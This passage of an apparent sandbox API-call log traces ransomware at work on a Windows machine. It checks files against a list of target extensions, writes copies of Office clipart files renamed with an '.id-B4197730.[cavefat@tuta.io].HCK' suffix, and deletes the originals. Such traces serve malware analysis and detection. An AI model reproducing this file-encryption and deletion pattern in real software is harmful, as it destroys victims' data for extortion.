Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0231.238] lstrlenW (lpString=".dbf") returned 4 [0231.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0231.238] lstrlenW (lpString=".1cd") returned 4 [0231.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0231.238] lstrlenW (lpString=".jpg") returned 4 [0231.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.238] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.238] lstrlenW (lpString="J0105294.WMF") returned 12 [0231.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.546] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=5504) returned 1 [0231.546] CloseHandle (hObject=0x4b4) returned 1 [0231.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220 [0231.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.546] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.546] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0231.547] GetLastError () returned 0x0 [0231.547] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1580, lpOverlapped=0x0) returned 1 [0231.548] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1590, lpOverlapped=0x0) returned 1 [0231.549] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.549] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.549] SetEndOfFile (hFile=0x4b0) returned 1 [0231.549] CloseHandle (hObject=0x4b0) returned 1 [0231.549] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.549] SetEndOfFile (hFile=0x4b4) returned 1 [0231.551] CloseHandle (hObject=0x4b4) returned 1 [0231.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0231.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0231.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0231.552] lstrlenW (lpString=".doc") returned 4 [0231.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.552] lstrlenW (lpString=".docx") returned 5 [0231.552] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0231.552] lstrlenW (lpString=".pdf") returned 4 [0231.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.553] lstrlenW (lpString=".xls") returned 4 [0231.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.553] lstrlenW (lpString=".xlsx") returned 5 [0231.553] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0231.553] lstrlenW (lpString=".ppt") returned 4 [0231.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0231.553] lstrlenW (lpString=".zip") returned 4 [0231.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.553] lstrlenW (lpString=".rar") returned 4 [0231.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.553] lstrlenW (lpString=".bz2") returned 4 [0231.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.553] lstrlenW (lpString=".7z") returned 3 [0231.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0231.553] lstrlenW (lpString=".dbf") returned 4 [0231.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0231.553] lstrlenW (lpString=".1cd") returned 4 [0231.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0231.553] lstrlenW (lpString=".jpg") returned 4 [0231.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0231.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0231.553] lstrlenW (lpString=".doc") returned 4 [0231.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.553] lstrlenW (lpString=".docx") returned 5 [0231.553] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0231.553] lstrlenW (lpString=".pdf") returned 4 [0231.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.553] lstrlenW (lpString=".xls") returned 4 [0231.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.553] lstrlenW (lpString=".xlsx") returned 5 [0231.553] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0231.553] lstrlenW (lpString=".ppt") returned 4 [0231.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0231.553] lstrlenW (lpString=".zip") returned 4 [0231.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.553] lstrlenW (lpString=".rar") returned 4 [0231.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.553] lstrlenW (lpString=".bz2") returned 4 [0231.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.553] lstrlenW (lpString=".7z") returned 3 [0231.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0231.553] lstrlenW (lpString=".dbf") returned 4 [0231.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0231.553] lstrlenW (lpString=".1cd") returned 4 [0231.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0231.554] lstrlenW (lpString=".jpg") returned 4 [0231.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.554] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.554] lstrlenW (lpString="J0105298.WMF") returned 12 [0231.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.555] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6320) returned 1 [0231.555] CloseHandle (hObject=0x4b4) returned 1 [0231.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220 [0231.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.556] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.556] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0231.557] GetLastError () returned 0x0 [0231.557] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x18b0, lpOverlapped=0x0) returned 1 [0231.558] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x18c0, lpOverlapped=0x0) returned 1 [0231.558] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.558] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.559] SetEndOfFile (hFile=0x4b0) returned 1 [0231.559] CloseHandle (hObject=0x4b0) returned 1 [0231.559] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.559] SetEndOfFile (hFile=0x4b4) returned 1 [0231.561] CloseHandle (hObject=0x4b4) returned 1 [0231.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0231.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0231.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0231.562] lstrlenW (lpString=".doc") returned 4 [0231.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.562] lstrlenW (lpString=".docx") returned 5 [0231.562] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.562] lstrlenW (lpString=".pdf") returned 4 [0231.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.562] lstrlenW (lpString=".xls") returned 4 [0231.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.562] lstrlenW (lpString=".xlsx") returned 5 [0231.562] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.562] lstrlenW (lpString=".ppt") returned 4 [0231.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0231.562] lstrlenW (lpString=".zip") returned 4 [0231.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.562] lstrlenW (lpString=".rar") returned 4 [0231.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.562] lstrlenW (lpString=".bz2") returned 4 [0231.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.562] lstrlenW (lpString=".7z") returned 3 [0231.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0231.563] lstrlenW (lpString=".dbf") returned 4 [0231.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0231.563] lstrlenW (lpString=".1cd") returned 4 [0231.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0231.563] lstrlenW (lpString=".jpg") returned 4 [0231.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0231.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0231.563] lstrlenW (lpString=".doc") returned 4 [0231.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.563] lstrlenW (lpString=".docx") returned 5 [0231.563] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.563] lstrlenW (lpString=".pdf") returned 4 [0231.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.563] lstrlenW (lpString=".xls") returned 4 [0231.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.563] lstrlenW (lpString=".xlsx") returned 5 [0231.563] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.563] lstrlenW (lpString=".ppt") returned 4 [0231.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0231.563] lstrlenW (lpString=".zip") returned 4 [0231.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.563] lstrlenW (lpString=".rar") returned 4 [0231.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.563] lstrlenW (lpString=".bz2") returned 4 [0231.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.563] lstrlenW (lpString=".7z") returned 3 [0231.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0231.563] lstrlenW (lpString=".dbf") returned 4 [0231.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0231.563] lstrlenW (lpString=".1cd") returned 4 [0231.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0231.563] lstrlenW (lpString=".jpg") returned 4 [0231.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.563] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.563] lstrlenW (lpString="J0105306.WMF") returned 12 [0231.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.564] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4320) returned 1 [0231.564] CloseHandle (hObject=0x4b4) returned 1 [0231.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220 [0231.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.568] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.568] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0231.569] GetLastError () returned 0x0 [0231.569] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x10e0, lpOverlapped=0x0) returned 1 [0231.570] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x10f0, lpOverlapped=0x0) returned 1 [0231.570] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.571] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.571] SetEndOfFile (hFile=0x4b0) returned 1 [0231.571] CloseHandle (hObject=0x4b0) returned 1 [0231.572] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.572] SetEndOfFile (hFile=0x4b4) returned 1 [0231.574] CloseHandle (hObject=0x4b4) returned 1 [0231.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0231.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0231.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0231.575] lstrlenW (lpString=".doc") returned 4 [0231.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString=".docx") returned 5 [0231.575] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0231.575] lstrlenW (lpString=".pdf") returned 4 [0231.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString=".xls") returned 4 [0231.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.575] lstrlenW (lpString=".xlsx") returned 5 [0231.575] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0231.575] lstrlenW (lpString=".ppt") returned 4 [0231.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0231.575] lstrlenW (lpString=".zip") returned 4 [0231.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.575] lstrlenW (lpString=".rar") returned 4 [0231.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString=".bz2") returned 4 [0231.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString=".7z") returned 3 [0231.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0231.575] lstrlenW (lpString=".dbf") returned 4 [0231.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0231.575] lstrlenW (lpString=".1cd") returned 4 [0231.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0231.575] lstrlenW (lpString=".jpg") returned 4 [0231.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0231.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0231.575] lstrlenW (lpString=".doc") returned 4 [0231.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString=".docx") returned 5 [0231.575] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0231.575] lstrlenW (lpString=".pdf") returned 4 [0231.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString=".xls") returned 4 [0231.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.575] lstrlenW (lpString=".xlsx") returned 5 [0231.576] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0231.576] lstrlenW (lpString=".ppt") returned 4 [0231.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0231.576] lstrlenW (lpString=".zip") returned 4 [0231.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.576] lstrlenW (lpString=".rar") returned 4 [0231.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.576] lstrlenW (lpString=".bz2") returned 4 [0231.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.576] lstrlenW (lpString=".7z") returned 3 [0231.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0231.576] lstrlenW (lpString=".dbf") returned 4 [0231.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0231.576] lstrlenW (lpString=".1cd") returned 4 [0231.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.576] lstrlenW (lpString="C:\\Program 